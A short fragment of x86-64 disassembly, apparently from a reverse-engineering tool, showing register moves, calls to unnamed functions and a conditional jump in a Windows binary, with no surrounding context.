mov rcx, rsi
call fcn.14000d5b8
movsxd rax, dword [rsp + 0x20]
shl rax, 0x1f
movsxd r14, dword [rsp + 0x24]
or r14, rax
mov rcx, rdi
call fcn.14000d5b8
xor ebx, ebx
test ebx, ebx
jns 0x140025b91
mov rcx, qword [rbp + 0x178]
mov r9d, ebx
mov edx, 0x62
call fcn.14000ccc0
mov eax, ebx
jmp 0x140025b96